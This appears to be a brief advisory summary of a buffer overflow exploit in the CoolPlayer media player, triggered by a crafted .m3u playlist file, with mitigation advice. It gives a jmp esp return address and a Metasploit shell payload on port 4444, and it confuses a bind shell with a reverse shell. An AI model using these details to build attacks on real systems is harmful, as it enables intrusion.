CoolPlayer, Latest Build: 217 Playlist(.m3u) File Local Buffer Overflow Exploit

This exploit targets a buffer overflow vulnerability in CoolPlayer. By creating a specially crafted .m3u playlist file, an attacker can execute arbitrary code on the target system. The exploit uses a return address located at 0x7C951EED (jmp esp in ntdll.dll) to redirect program execution to the shellcode. The shellcode used in this exploit is a bind shell payload generated by Metasploit, which establishes a reverse shell connection to the attacker's machine on port 4444.

Mitigation:

Update to the latest version of CoolPlayer to mitigate this vulnerability. Avoid opening untrusted .m3u playlist files.
